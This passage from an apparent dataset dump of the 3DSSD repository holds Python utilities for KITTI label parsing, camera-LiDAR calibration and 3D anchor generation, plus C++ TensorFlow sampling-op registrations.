occlusion\n self.type = data[0] # 'Car', 'Pedestrian', ...\n self.truncation = data[1] # truncated pixel ratio [0..1]\n self.occlusion = int(data[2]) # 0=visible, 1=partly occluded, 2=fully occluded, 3=unknown\n self.alpha = data[3] # object observation angle [-pi..pi]\n\n # extract 2d bounding box in 0-based coordinates\n self.xmin = data[4] # left\n self.ymin = data[5] # top\n self.xmax = data[6] # right\n self.ymax = data[7] # bottom\n self.box2d = np.array([self.xmin,self.ymin,self.xmax,self.ymax])\n \n # extract 3d bounding box information\n self.h = data[8] # box height\n self.w = data[9] # box width\n self.l = data[10] # box length (in meters)\n self.t = (data[11],data[12],data[13]) # location (x,y,z) in camera coord.\n # self.ry is the rotation angle around the y-axis\n self.ry = data[14] # yaw angle (around Y-axis in camera coordinates) [-pi..pi]\n if len(data) == 16:\n self.score = data[15]\n\n def print_object(self):\n print('Type, truncation, occlusion, alpha: %s, %d, %d, %f' % \\\n (self.type, self.truncation, self.occlusion, self.alpha))\n print('2d bbox (x0,y0,x1,y1): %f, %f, %f, %f' % \\\n (self.xmin, self.ymin, self.xmax, self.ymax))\n print('3d bbox h,w,l: %f, %f, %f' % \\\n (self.h, self.w, self.l))\n print('3d bbox location, ry: (%f, %f, %f), %f' % \\\n (self.t[0],self.t[1],self.t[2],self.ry))\n\n\nclass Calibration(object):\n ''' Calibration matrices and utils\n # this is used to multi the \n 3d XYZ in <label>.txt are in rect camera coord.\n 2d box xy are in image2 coord\n Points in <lidar>.bin are in Velodyne coord.\n\n y_image2 = P^2_rect * x_rect\n y_image2 = P^2_rect * R0_rect * Tr_velo_to_cam * x_velo\n x_ref = Tr_velo_to_cam * x_velo\n x_rect = R0_rect * x_ref\n\n P^2_rect = [f^2_u, 0, c^2_u, -f^2_u b^2_x;\n 0, f^2_v, c^2_v, -f^2_v b^2_y;\n 0, 0, 1, 0]\n = K * [1|t]\n\n image2 coord:\n ----> x-axis (u)\n |\n |\n v y-axis (v)\n\n velodyne coord:\n front x, left y, up z\n\n rect/ref camera coord:\n right x, down y, front z\n\n Ref (KITTI paper): http://www.cvlibs.net/publications/Geiger2013IJRR.pdf\n\n TODO(rqi): do matrix multiplication only once for each projection.\n '''\n def __init__(self, calib_filepath, from_video=False):\n if from_video:\n calibs = self.read_calib_from_video(calib_filepath)\n else:\n calibs = self.read_calib_file(calib_filepath)\n # Projection matrix from rect camera coord to image2 coord\n # P2 means the left color image in the kitti dataset\n # which is the images we used\n self.P = calibs['P2'] \n self.P = np.reshape(self.P, [3,4])\n # Rigid transform from Velodyne coord to reference camera coord\n # the velo_to_cam matrix\n self.V2C = calibs['Tr_velo_to_cam']\n self.V2C = np.reshape(self.V2C, [3,4])\n # the cam_to_velo matrix [3, 4]\n self.C2V = inverse_rigid_trans(self.V2C)\n # Rotation from reference camera coord to rect camera coord\n # rotating the reference camera coord from non-rect coord to rect camera coord\n # thus, we could print the lidar point by multi the rect lidar points\n self.R0 = calibs['R0_rect']\n self.R0 = np.reshape(self.R0,[3,3])\n\n # Camera intrinsics and extrinsics\n self.c_u = self.P[0,2]\n self.c_v = self.P[1,2]\n self.f_u = self.P[0,0]\n self.f_v = self.P[1,1]\n self.b_x = self.P[0,3]/(-self.f_u) # relative \n self.b_y = self.P[1,3]/(-self.f_v)\n\n def read_calib_file(self, filepath):\n ''' Read in a calibration file and parse into a dictionary.\n Ref: https://github.com/utiasSTARS/pykitti/blob/master/pykitti/utils.py\n read_calib_file: return the matrix in the %06d.txt\n '''\n data = {}\n with open(filepath, 'r') as f:\n for line in f.readlines():\n line = line.rstrip()\n if len(line)==0: continue\n key, value = line.split(':', 1)\n # The only non-float values in these files are dates, which\n # we don't care about anyway\n try:\n data[key] = np.array([float(x) for x in value.split()])\n except ValueError:\n pass\n\n return data\n \n def read_calib_from_video(self, calib_root_dir):\n ''' Read calibration for camera 2 from video calib files.\n there are calib_cam_to_cam and calib_velo_to_cam under the calib_root_dir\n '''\n data = {}\n cam2cam = self.read_calib_file(os.path.join(calib_root_dir, 'calib_cam_to_cam.txt'))\n velo2cam = self.read_calib_file(os.path.join(calib_root_dir, 'calib_velo_to_cam.txt'))\n Tr_velo_to_cam = np.zeros((3,4))\n Tr_velo_to_cam[0:3,0:3] = np.reshape(velo2cam['R'], [3,3])\n Tr_velo_to_cam[:,3] = velo2cam['T']\n data['Tr_velo_to_cam'] = np.reshape(Tr_velo_to_cam, [12])\n data['R0_rect'] = cam2cam['R_rect_00']\n data['P2'] = cam2cam['P_rect_02']\n return data\n\n def cart2hom(self, pts_3d):\n ''' Input: nx3 points in Cartesian\n Oupput: nx4 points in Homogeneous by pending 1\n make it from n x 3 to n x 4\n '''\n n = pts_3d.shape[0]\n pts_3d_hom = np.hstack((pts_3d, np.ones((n,1))))\n return pts_3d_hom\n \n # =========================== \n # ------- 3d to 3d ---------- \n # =========================== \n def project_velo_to_ref(self, pts_3d_velo):\n pts_3d_velo = self.cart2hom(pts_3d_velo) # nx4\n # return nx3 points, in the reference image plane\n # nx3 output\n return np.dot(pts_3d_velo, np.transpose(self.V2C))\n\n def project_ref_to_velo(self, pts_3d_ref):\n # nx3 output\n pts_3d_ref = self.cart2hom(pts_3d_ref) # nx4\n return np.dot(pts_3d_ref, np.transpose(self.C2V))\n\n def project_rect_to_ref(self, pts_3d_rect):\n ''' Input and Output are nx3 points '''\n return np.transpose(np.dot(np.linalg.inv(self.R0), np.transpose(pts_3d_rect)))\n \n def project_ref_to_rect(self, pts_3d_ref):\n ''' Input and Output are nx3 points '''\n return np.transpose(np.dot(self.R0, np.transpose(pts_3d_ref)))\n \n def project_rect_to_velo(self, pts_3d_rect):\n ''' Input: nx3 points in rect camera coord.\n Output: nx3 points in velodyne coord.\n ''' \n pts_3d_ref = self.project_rect_to_ref(pts_3d_rect)\n return self.project_ref_to_velo(pts_3d_ref)\n\n def project_velo_to_rect(self, pts_3d_velo):\n pts_3d_ref = self.project_velo_to_ref(pts_3d_velo)\n return self.project_ref_to_rect(pts_3d_ref)\n\n # =========================== \n # ------- 3d to 2d ---------- \n # =========================== \n def project_rect_to_image(self, pts_3d_rect):\n ''' Input: nx3 points in rect camera coord.\n Output: nx2 points in image2 coord.\n '''\n pts_3d_rect = self.cart2hom(pts_3d_rect)\n pts_2d = np.dot(pts_3d_rect, np.transpose(self.P)) # nx3\n # pts_2d[:, 2], means the depth in the uv-map\n # thus we need to div it \n pts_2d[:,0] /= pts_2d[:,2]\n pts_2d[:,1] /= pts_2d[:,2]\n return pts_2d[:,0:2]\n \n def project_velo_to_image(self, pts_3d_velo):\n ''' Input: nx3 points in velodyne coord.\n Output: nx2 points in image2 coord.\n '''\n pts_3d_rect = self.project_velo_to_rect(pts_3d_velo)\n return self.project_rect_to_image(pts_3d_rect)\n\n # =========================== \n # ------- 2d to 3d ---------- \n # =========================== \n def project_image_to_rect(self, uv_depth):\n ''' Input: nx3 first two channels are uv, 3rd channel\n is depth in rect camera coord.\n Output: nx3 points in rect camera coord.\n '''\n # first we multi the depth(uv_map[:, 2]) back, and get the transform\n n = uv_depth.shape[0]\n x = ((uv_depth[:,0]-self.c_u)*uv_depth[:,2])/self.f_u + self.b_x\n y = ((uv_depth[:,1]-self.c_v)*uv_depth[:,2])/self.f_v + self.b_y\n pts_3d_rect = np.zeros((n,3))\n pts_3d_rect[:,0] = x\n pts_3d_rect[:,1] = y\n pts_3d_rect[:,2] = uv_depth[:,2]\n return pts_3d_rect\n\n def project_image_to_velo(self, uv_depth):\n pts_3d_rect = self.project_image_to_rect(uv_depth)\n return self.project_rect_to_velo(pts_3d_rect)\n\n\ndef in_hull(p, hull):\n from scipy.spatial import Delaunay\n if not isinstance(hull,Delaunay):\n hull = Delaunay(hull)\n return hull.find_simplex(p)>=0\n\ndef extract_pc_in_box3d(pc, box3d):\n ''' pc: (N,3), box3d: (8,3) '''\n box3d_roi_inds = in_hull(pc[:,0:3], box3d)\n box3d_roi_logits = np.zeros([pc.shape[0], 2], np.float32)\n box3d_roi_logits[box3d_roi_inds, 1] = 1\n return box3d_roi_logits \n\ndef extract_pc_in_box2d(pc, box2d):\n ''' pc: (N, 3), box2d: (4, 2) '''\n box2d_roi_inds = in_hull(pc[:,[0, 2]], box2d)\n box2d_roi_logits = np.zeros([pc.shape[0]], np.float32)\n box2d_roi_logits[box2d_roi_inds] = 1\n return box2d_roi_logits\n\n\ndef transform_from_rot_trans(R, t):\n ''' Transforation matrix from rotation matrix and translation vector. '''\n R = R.reshape(3, 3)\n t = t.reshape(3, 1)\n return np.vstack((np.hstack([R, t]), [0, 0, 0, 1]))\n\n\ndef inverse_rigid_trans(Tr):\n ''' Inverse a rigid body transform matrix (3x4 as [R|t])\n [R'|-R't; 0|1]\n '''\n inv_Tr = np.zeros_like(Tr) # 3x4\n inv_Tr[0:3,0:3] = np.transpose(Tr[0:3,0:3])\n inv_Tr[0:3,3] = np.dot(-np.transpose(Tr[0:3,0:3]), Tr[0:3,3])\n return inv_Tr\n\ndef read_label(label_filename):\n # first get the line in the gt\n lines = [line.rstrip() for line in open(label_filename)]\n # lines represent the instance object\n objects = [Object3d(line) for line in lines]\n return objects\n\ndef get_road_plane(img_idx, planes_dir):\n \"\"\"Reads the road plane from file\n\n :param int img_idx : Index of image\n :param str planes_dir : directory containing plane text files\n\n :return plane : List containing plane equation coefficients\n \"\"\"\n\n plane_file = planes_dir + '/%06d.txt' % img_idx\n\n with open(plane_file, 'r') as input_file:\n lines = input_file.readlines()\n input_file.close()\n\n # Plane coefficients stored in 4th row\n lines = lines[3].split()\n\n # Convert str to float\n lines = [float(i) for i in lines]\n\n plane = np.asarray(lines)\n\n # Ensure normal is always facing up.\n # In Kitti's frame of reference, +y is down\n if plane[1] > 0:\n plane = -plane\n\n # Normalize the plane coefficients\n norm = np.linalg.norm(plane[0:3])\n plane = plane / norm\n\n return plane\n\ndef load_image(img_filename):\n return cv2.imread(img_filename)\n\ndef load_velo_scan(velo_filename):\n scan = np.fromfile(velo_filename, dtype=np.float32)\n scan = scan.reshape((-1, 4))\n return scan\n\n####################### ProjectToImage ################################\ndef project_to_image(pts_3d, P):\n ''' Project 3d points to image plane.\n\n Usage: pts_2d = projectToImage(pts_3d, P)\n input: pts_3d: nx3 matrix\n P: 3x4 projection matrix\n output: pts_2d: nx2 matrix\n\n P(3x4) dot pts_3d_extended(4xn) = projected_pts_2d(3xn)\n => normalize projected_pts_2d(2xn)\n\n <=> pts_3d_extended(nx4) dot P'(4x3) = projected_pts_2d(nx3)\n => normalize projected_pts_2d(nx2)\n '''\n n = pts_3d.shape[0]\n pts_3d_extend = np.hstack((pts_3d, np.ones((n,1))))\n pts_2d = np.dot(pts_3d_extend, np.transpose(P)) # nx3\n pts_2d[:,0] /= pts_2d[:,2]\n pts_2d[:,1] /= pts_2d[:,2]\n return pts_2d[:,0:2]\n\ndef tf_project_to_image_tensor(pts_3d, P):\n \"\"\"Projects 3D points to 2D points in image space.\n\n Args:\n points_3d: a list of float32 tensor of shape [-1, 3]\n cam_p2_matrix: a float32 tensor of shape [3, 4] representing\n the camera matrix.\n\n Returns:\n points_2d: a list of float32 tensor of shape [-1, 2]\n This is the projected 3D points into 2D .i.e. corresponding\n 3D points in image coordinates.\n \"\"\"\n n = tf.shape(pts_3d)[0]\n pts_3d_extend = tf.concat([pts_3d, tf.ones([n, 1], dtype=pts_3d.dtype)], axis=-1) \n pts_2d = tf.matmul(pts_3d_extend, tf.transpose(P)) # nx3\n pts_2d_x = pts_2d[:, 0] / pts_2d[:, 2]\n pts_2d_y = pts_2d[:, 1] / pts_2d[:, 2]\n pts_2d = tf.stack([pts_2d_x, pts_2d_y], axis=-1) # nx2\n\n return pts_2d \n####################### ProjectToImage ################################\n\n\ndef draw_projected_box3d(image, qs, color=(255,255,255), thickness=2):\n ''' Draw 3d bounding box in image\n qs: (8,3) array of vertices for the 3d box in following order:\n 1 -------- 0\n /| /|\n 2 -------- 3 .\n | | | |\n . 5 -------- 4\n |/ |/\n 6 -------- 7\n '''\n qs = qs.astype(np.int32)\n for k in range(0,4):\n # Ref: http://docs.enthought.com/mayavi/mayavi/auto/mlab_helper_functions.html\n i,j=k,(k+1)%4\n # use LINE_AA for opencv3\n cv2.line(image, (qs[i,0],qs[i,1]), (qs[j,0],qs[j,1]), color, thickness, cv2.LINE_AA)\n\n i,j=k+4,(k+1)%4 + 4\n cv2.line(image, (qs[i,0],qs[i,1]), (qs[j,0],qs[j,1]), color, thickness, cv2.LINE_AA)\n\n i,j=k,k+4\n cv2.line(image, (qs[i,0],qs[i,1]), (qs[j,0],qs[j,1]), color, thickness, cv2.LINE_AA)\n return image\n\n" }, { "alpha_fraction": 0.6301040649414062, "alphanum_fraction": 0.6549239158630371, "avg_line_length": 32.75675582885742, "blob_id": "99efeb380c88bffc3b5cb706e52a0971545096f2", "content_id": "da7829ee012adccb78ab16d45e4a39f3543cfe47", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1249, "license_type": "permissive", "max_line_length": 84, "num_lines": 37, "path": "/lib/utils/demo_utils.py", "repo_name": "taichiH/3DSSD", "src_encoding": "UTF-8", "text": "import os, sys\nimport tensorflow as tf\nimport numpy as np\nimport cv2\n\nimport utils.anchors_util as anchors_util\n \n\ndef show_corners(points, calib, corners_anchors, ctr_points=None, sv_img_path=None):\n \"\"\"\n Input:\n points: [N, 3]\n calib: a calib object\n anchors: [N, 8, 3]\n \"\"\"\n if 'mlab' not in sys.modules: import mayavi.mlab as mlab\n from viz_util import draw_lidar_simple, draw_lidar, draw_gt_boxes3d\n\n # first project anchors back to the velo location\n points = calib.project_rect_to_velo(points)\n\n # first project it back to velo\n corners_anchors = np.reshape(corners_anchors, [-1, 3])\n corners_anchors = calib.project_rect_to_velo(corners_anchors)\n corners_anchors = np.reshape(corners_anchors, [-1, 8, 3])\n\n # now, we get the corners_anchors, then, we only have to draw them\n fig = mlab.figure(figure=None, bgcolor=(0,0,0),\n fgcolor=None, engine=None, size=(1000, 500))\n draw_lidar(points, fig=fig)\n if ctr_points is not None:\n draw_lidar(ctr_points, fig=fig, pts_scale=0.10, pts_color=(1.0, 0.0, 0.0))\n draw_gt_boxes3d(corners_anchors, fig=fig) \n if sv_img_path is not None:\n mlab.savefig(sv_img_path, figure=fig)\n else:\n mlab.show(1)\n" }, { "alpha_fraction": 0.5561097264289856, "alphanum_fraction": 0.586034893989563, "avg_line_length": 36, "blob_id": "99cba937f201ca146ea7d26c6edf35123041ae48", "content_id": "a2d26e896b3cc0849f0e34387cdbc1cce252afcf", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2406, "license_type": "permissive", "max_line_length": 106, "num_lines": 65, "path": "/lib/utils/generate_anchors.py", "repo_name": "taichiH/3DSSD", "src_encoding": "UTF-8", "text": "import tensorflow as tf\nimport numpy as np\n\nfrom core.config import cfg\n\ndef generate_3d_anchors_by_point(points, anchor_sizes):\n '''\n Generate 3d anchors by points\n points: [b, n, 3]\n anchors_size: [cls_num, 3], l, h, w\n\n Return [b, n, cls_num, 7]\n '''\n bs, points_num, _ = points.shape\n anchor_sizes = np.array(anchor_sizes) # [cls_num, 3]\n anchors_num = len(anchor_sizes)\n \n # then generate anchors for each points \n ctr = np.tile(np.reshape(points, [bs, points_num, 1, 3]), [1, 1, anchors_num, 1]) # [x, y, z]\n\n offset = np.tile(np.reshape(anchor_sizes, [1, 1, anchors_num, 3]), [bs, points_num, 1, 1]) # [l, h, w]\n\n # then sub y to force anchors on the center\n ctr[:, :, :, 1] += offset[:, :, :, 1] / 2.\n ry = np.zeros([bs, points_num, anchors_num, 1], dtype=ctr.dtype)\n \n all_anchor_boxes_3d = np.concatenate([ctr, offset, ry], axis=-1)\n all_anchor_boxes_3d = np.reshape(all_anchor_boxes_3d, [bs, points_num, anchors_num, 7])\n\n return all_anchor_boxes_3d\n\n\ndef generate_3d_anchors_by_point_tf(points, anchor_sizes):\n '''\n Generate 3d anchors by points\n points: [bs, n, 3], xyz, the location of this points\n anchor_sizes: [cls_num, 3], lhw\n \n Return [b, n, cls_num, 7]\n '''\n bs, points_num, _ = points.get_shape().as_list()\n\n anchor_sizes = np.array(anchor_sizes).astype(np.float32)\n anchors_num = len(anchor_sizes)\n \n # then generate anchors for each points \n x, y, z = tf.unstack(points, axis=-1) # [bs, points_num]\n x = tf.tile(tf.reshape(x, [bs, points_num, 1, 1]), [1, 1, anchors_num, 1])\n y = tf.tile(tf.reshape(y, [bs, points_num, 1, 1]), [1, 1, anchors_num, 1])\n z = tf.tile(tf.reshape(z, [bs, points_num, 1, 1]), [1, 1, anchors_num, 1])\n\n\n # then sub y_ctr by the anchor_size\n l, h, w = tf.unstack(anchor_sizes, axis=-1) # [anchors_num]\n l = tf.tile(tf.reshape(l, [1, 1, anchors_num, 1]), [bs, points_num, 1, 1])\n h = tf.tile(tf.reshape(h, [1, 1, anchors_num, 1]), [bs, points_num, 1, 1])\n w = tf.tile(tf.reshape(w, [1, 1, anchors_num, 1]), [bs, points_num, 1, 1])\n\n ry = tf.zeros_like(l) # [bs, points_num, anchors_num]\n\n y = y + h / 2.\n\n all_anchor_boxes_3d = tf.concat([x, y, z, l, h, w, ry], axis=-1)\n all_anchor_boxes_3d = tf.reshape(all_anchor_boxes_3d, [bs, points_num, anchors_num, 7])\n return all_anchor_boxes_3d \n" }, { "alpha_fraction": 0.6606643795967102, "alphanum_fraction": 0.6732691526412964, "avg_line_length": 48.706790924072266, "blob_id": "b858634b1760a9b96d773221ba8512046955e847", "content_id": "980f955033d083d0a91a50c8df219c255c9a047c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 16105, "license_type": "permissive", "max_line_length": 261, "num_lines": 324, "path": "/lib/utils/tf_ops/sampling/tf_sampling.cpp", "repo_name": "taichiH/3DSSD", "src_encoding": "UTF-8", "text": "#include <cstdio>\n#include \"tensorflow/core/framework/op.h\"\n#include \"tensorflow/core/framework/op_kernel.h\"\n#include \"tensorflow/core/framework/shape_inference.h\"\n#include \"tensorflow/core/framework/common_shape_fns.h\"\n#include <cuda_runtime.h>\n\nusing namespace tensorflow;\n\nREGISTER_OP(\"ProbSample\")\n .Input(\"inp: float32\")\n .Input(\"inpr: float32\")\n .Output(\"out: int32\")\n .SetShapeFn([](::tensorflow::shape_inference::InferenceContext* c) {\n ::tensorflow::shape_inference::ShapeHandle dims1; // batch_size * ncategory\n c->WithRank(c->input(0), 2, &dims1);\n ::tensorflow::shape_inference::ShapeHandle dims2; // batch_size * npoints\n c->WithRank(c->input(1), 2, &dims2);\n // batch_size * npoints\n ::tensorflow::shape_inference::ShapeHandle output = c->MakeShape({c->Dim(dims2, 0), c->Dim(dims2, 1)});\n c->set_output(0, output);\n return Status::OK();\n });\nREGISTER_OP(\"FarthestPointSample\")\n .Attr(\"npoint: int\")\n .Input(\"inp: float32\")\n .Output(\"out: int32\")\n .SetShapeFn([](::tensorflow::shape_inference::InferenceContext* c) {\n ::tensorflow::shape_inference::ShapeHandle dims1; // batch_size * npoint * c\n c->WithRank(c->input(0), 3, &dims1);\n int npoint;\n TF_RETURN_IF_ERROR(c->GetAttr(\"npoint\", &npoint));\n ::tensorflow::shape_inference::ShapeHandle output = c->MakeShape({c->Dim(dims1, 0), npoint});\n c->set_output(0, output);\n return Status::OK();\n });\nREGISTER_OP(\"FarthestPointSampleWithDistance\")\n .Attr(\"npoint: int\")\n .Input(\"dist: float32\") // batch_size, ndataset, ndataset, distance_matrix\n .Output(\"out: int32\") // batch_size, npoint\n .SetShapeFn([](::tensorflow::shape_inference::InferenceContext* c) {\n ::tensorflow::shape_inference::ShapeHandle dims1; // batch_size * npoint * c\n c->WithRank(c->input(0), 3, &dims1);\n int npoint;\n TF_RETURN_IF_ERROR(c->GetAttr(\"npoint\", &npoint));\n ::tensorflow::shape_inference::ShapeHandle output = c->MakeShape({c->Dim(dims1, 0), npoint});\n c->set_output(0, output);\n return Status::OK();\n });\nREGISTER_OP(\"FarthestPointSampleWithPreidx\")\n .Attr(\"npoint: int\")\n .Input(\"inp: float32\") // batch_size, ndataset, c\n .Input(\"preidx: int32\") // batch_size, m1\n .Output(\"out: int32\") // batch_size, m\n .SetShapeFn([](::tensorflow::shape_inference::InferenceContext* c) {\n ::tensorflow::shape_inference::ShapeHandle dims1; // batch_size * ndataset * c\n c->WithRank(c->input(0), 3, &dims1);\n int npoint;\n TF_RETURN_IF_ERROR(c->GetAttr(\"npoint\", &npoint));\n ::tensorflow::shape_inference::ShapeHandle output = c->MakeShape({c->Dim(dims1, 0), npoint});\n c->set_output(0, output);\n return Status::OK();\n });\nREGISTER_OP(\"GatherPoint\")\n .Input(\"inp: float32\")\n .Input(\"idx: int32\")\n .Output(\"out: float32\")\n .SetShapeFn([](::tensorflow::shape_inference::InferenceContext* c) {\n ::tensorflow::shape_inference::ShapeHandle dims1; // batch_size * ndataset * 3\n c->WithRank(c->input(0), 3, &dims1);\n ::tensorflow::shape_inference::ShapeHandle dims2; // batch_size * npoints\n c->WithRank(c->input(1), 2, &dims2);\n // batch_size * npoints * 3\n ::tensorflow::shape_inference::ShapeHandle output = c->MakeShape({c->Dim(dims1, 0), c->Dim(dims2, 1), c->Dim(dims1, 2)});\n c->set_output(0, output);\n return Status::OK();\n });\nREGISTER_OP(\"GatherPointGrad\")\n .Input(\"inp: float32\") // [b, n, c]\n .Input(\"idx: int32\") // [b, m]\n .Input(\"out_g: float32\") // [b, m, c]\n .Output(\"inp_g: float32\") // [b, n, c]\n .SetShapeFn([](::tensorflow::shape_inference::InferenceContext* c) {\n c->set_output(0, c->input(0));\n return Status::OK();\n });\nREGISTER_OP(\"GatherByMask\")\n .Attr(\"proposal_num: int\")\n .Input(\"inp: float32\")\n .Input(\"mask: float32\")\n .Output(\"out: float32\")\n .SetShapeFn([](::tensorflow::shape_inference::InferenceContext* c) {\n ::tensorflow::shape_inference::ShapeHandle dims1; // batch_size * points_num * c\n c->WithRank(c->input(0), 3, &dims1);\n int proposal_num;\n TF_RETURN_IF_ERROR(c->GetAttr(\"proposal_num\", &proposal_num));\n ::tensorflow::shape_inference::ShapeHandle output = c->MakeShape({c->Dim(dims1, 0), proposal_num, c->Dim(dims1, 2)});\n c->set_output(0, output);\n return Status::OK();\n });\n\nvoid probsampleLauncher(int b,int n,int m,const float * inp_p,const float * inp_r,float * temp,int * out);\nclass ProbSampleGpuOp: public OpKernel{\n public:\n explicit ProbSampleGpuOp(OpKernelConstruction* context):OpKernel(context){}\n void Compute(OpKernelContext * context)override{\n const Tensor& inp_tensor=context->input(0);\n const Tensor& inpr_tensor=context->input(1);\n auto inp_flat=inp_tensor.flat<float>();\n auto inpr_flat=inpr_tensor.flat<float>();\n const float * inp=&(inp_flat(0));\n const float * inpr=&(inpr_flat(0));\n OP_REQUIRES(context,inp_tensor.dims()==2,errors::InvalidArgument(\"ProbSample expects (batch_size,num_choices) inp shape\"));\n int b=inp_tensor.shape().dim_size(0);\n int n=inp_tensor.shape().dim_size(1);\n OP_REQUIRES(context,inpr_tensor.dims()==2 && inpr_tensor.shape().dim_size(0)==b,errors::InvalidArgument(\"ProbSample expects (batch_size,num_points) inpr shape\"));\n int m=inpr_tensor.shape().dim_size(1);\n Tensor * out_tensor=NULL;\n OP_REQUIRES_OK(context,context->allocate_output(0,TensorShape{b,m},&out_tensor));\n auto out_flat=out_tensor->flat<int>();\n int * out=&(out_flat(0));\n Tensor temp_tensor;\n OP_REQUIRES_OK(context,context->allocate_temp(DataTypeToEnum<float>::value,TensorShape{b,n},&temp_tensor));\n auto temp_flat=temp_tensor.flat<float>();\n float * temp=&(temp_flat(0));\n probsampleLauncher(b,n,m,inp,inpr,temp,out);\n }\n};\nREGISTER_KERNEL_BUILDER(Name(\"ProbSample\").Device(DEVICE_GPU), ProbSampleGpuOp);\n\nvoid farthestpointsamplingLauncher(int b,int n,int c,int m,const float * inp,float * temp,int * out);\nclass FarthestPointSampleGpuOp: public OpKernel{\n public:\n explicit FarthestPointSampleGpuOp(OpKernelConstruction* context):OpKernel(context) {\n OP_REQUIRES_OK(context, context->GetAttr(\"npoint\", &npoint_));\n OP_REQUIRES(context, npoint_ > 0, errors::InvalidArgument(\"FarthestPointSample expects positive npoint\"));\n }\n void Compute(OpKernelContext * context)override{\n int m = npoint_;\n\n const Tensor& inp_tensor=context->input(0);\n OP_REQUIRES(context,inp_tensor.dims()==3,errors::InvalidArgument(\"FarthestPointSample expects (batch_size,num_points,c) inp shape\"));\n int b=inp_tensor.shape().dim_size(0);\n int n=inp_tensor.shape().dim_size(1);\n int c=inp_tensor.shape().dim_size(2);\n auto inp_flat=inp_tensor.flat<float>();\n const float * inp=&(inp_flat(0));\n Tensor * out_tensor;\n OP_REQUIRES_OK(context,context->allocate_output(0,TensorShape{b,m},&out_tensor));\n auto out_flat=out_tensor->flat<int>();\n int * out=&(out_flat(0));\n Tensor temp_tensor;\n OP_REQUIRES_OK(context,context->allocate_temp(DataTypeToEnum<float>::value,TensorShape{b,n},&temp_tensor));\n auto temp_flat=temp_tensor.flat<float>();\n float * temp=&(temp_flat(0));\n farthestpointsamplingLauncher(b,n,c,m,inp,temp,out);\n }\n private:\n int npoint_;\n};\nREGISTER_KERNEL_BUILDER(Name(\"FarthestPointSample\").Device(DEVICE_GPU),FarthestPointSampleGpuOp);\n\n\nvoid farthestpointsamplingwithdistLauncher(int b,int n,int m,const float * inp,float * temp,int * out);\nclass FarthestPointSampleWithDistanceGpuOp: public OpKernel{\n public:\n explicit FarthestPointSampleWithDistanceGpuOp(OpKernelConstruction* context):OpKernel(context) {\n OP_REQUIRES_OK(context, context->GetAttr(\"npoint\", &npoint_));\n OP_REQUIRES(context, npoint_ > 0, errors::InvalidArgument(\"FarthestPointSampleWithDistance expects positive npoint\"));\n }\n void Compute(OpKernelContext * context)override{\n int m = npoint_;\n\n const Tensor& inp_tensor=context->input(0); // batch_size, ndataset, ndataset, distance matrix\n OP_REQUIRES(context,inp_tensor.dims()==3 && inp_tensor.shape().dim_size(1) == inp_tensor.shape().dim_size(2),errors::InvalidArgument(\"FarthestPointSampleWithDistance expects (batch_size,num_points,num_points) inp shape\"));\n int b=inp_tensor.shape().dim_size(0);\n int n=inp_tensor.shape().dim_size(1);\n auto inp_flat=inp_tensor.flat<float>();\n const float * inp=&(inp_flat(0));\n Tensor * out_tensor;\n OP_REQUIRES_OK(context,context->allocate_output(0,TensorShape{b,m},&out_tensor));\n auto out_flat=out_tensor->flat<int>();\n int * out=&(out_flat(0));\n Tensor temp_tensor;\n OP_REQUIRES_OK(context,context->allocate_temp(DataTypeToEnum<float>::value,TensorShape{b,n},&temp_tensor));\n auto temp_flat=temp_tensor.flat<float>();\n float * temp=&(temp_flat(0));\n farthestpointsamplingwithdistLauncher(b,n,m,inp,temp,out);\n }\n private:\n int npoint_;\n};\nREGISTER_KERNEL_BUILDER(Name(\"FarthestPointSampleWithDistance\").Device(DEVICE_GPU),FarthestPointSampleWithDistanceGpuOp);\n\nvoid farthestpointsamplingwithpreidxLauncher(int b,int n,int c,int m,int m1,const float * inp,const int* preidx,float * temp,int * out);\nclass FarthestPointSampleWithPreidxGpuOp: public OpKernel{\n public:\n explicit FarthestPointSampleWithPreidxGpuOp(OpKernelConstruction* context):OpKernel(context) {\n OP_REQUIRES_OK(context, context->GetAttr(\"npoint\", &npoint_));\n OP_REQUIRES(context, npoint_ > 0, errors::InvalidArgument(\"FarthestPointSampleWithPreidx expects positive npoint\"));\n }\n void Compute(OpKernelContext * context)override{\n int m = npoint_;\n\n const Tensor& inp_tensor=context->input(0);\n OP_REQUIRES(context,inp_tensor.dims()==3,errors::InvalidArgument(\"FarthestPointSampleWithPreidx expects (batch_size,num_points,c) inp shape\"));\n int b=inp_tensor.shape().dim_size(0);\n int n=inp_tensor.shape().dim_size(1);\n int c=inp_tensor.shape().dim_size(2);\n\n const Tensor& preidx_tensor = context->input(1); \n OP_REQUIRES(context,preidx_tensor.dims()==2 && preidx_tensor.shape().dim_size(0)==b,errors::InvalidArgument(\"FarthestPointSampleWithPreidx expects (batch_size,m1) preidx shape\"));\n int m1=preidx_tensor.shape().dim_size(1);\n\n auto inp_flat=inp_tensor.flat<float>();\n const float * inp=&(inp_flat(0));\n auto preidx_flat = preidx_tensor.flat<int>();\n const int* preidx=&(preidx_flat(0));\n\n Tensor * out_tensor;\n OP_REQUIRES_OK(context,context->allocate_output(0,TensorShape{b,m},&out_tensor));\n auto out_flat=out_tensor->flat<int>();\n int * out=&(out_flat(0));\n Tensor temp_tensor;\n OP_REQUIRES_OK(context,context->allocate_temp(DataTypeToEnum<float>::value,TensorShape{b,n},&temp_tensor));\n auto temp_flat=temp_tensor.flat<float>();\n float * temp=&(temp_flat(0));\n farthestpointsamplingwithpreidxLauncher(b,n,c,m,m1,inp,preidx,temp,out);\n }\n private:\n int npoint_;\n};\nREGISTER_KERNEL_BUILDER(Name(\"FarthestPointSampleWithPreidx\").Device(DEVICE_GPU),FarthestPointSampleWithPreidxGpuOp);\n\nvoid gatherpointLauncher(int b,int n,int m,int c,const float * inp,const int * idx,float * out);\nclass GatherPointGpuOp: public OpKernel{\n public:\n explicit GatherPointGpuOp(OpKernelConstruction * context):OpKernel(context){}\n void Compute(OpKernelContext * context)override{\n const Tensor& inp_tensor=context->input(0);\n OP_REQUIRES(context,inp_tensor.dims()==3,errors::InvalidArgument(\"GatherPoint expects (batch_size,num_points,c) inp shape\"));\n int b=inp_tensor.shape().dim_size(0);\n int n=inp_tensor.shape().dim_size(1);\n int c=inp_tensor.shape().dim_size(2);\n const Tensor& idx_tensor=context->input(1);\n OP_REQUIRES(context,idx_tensor.dims()==2 && 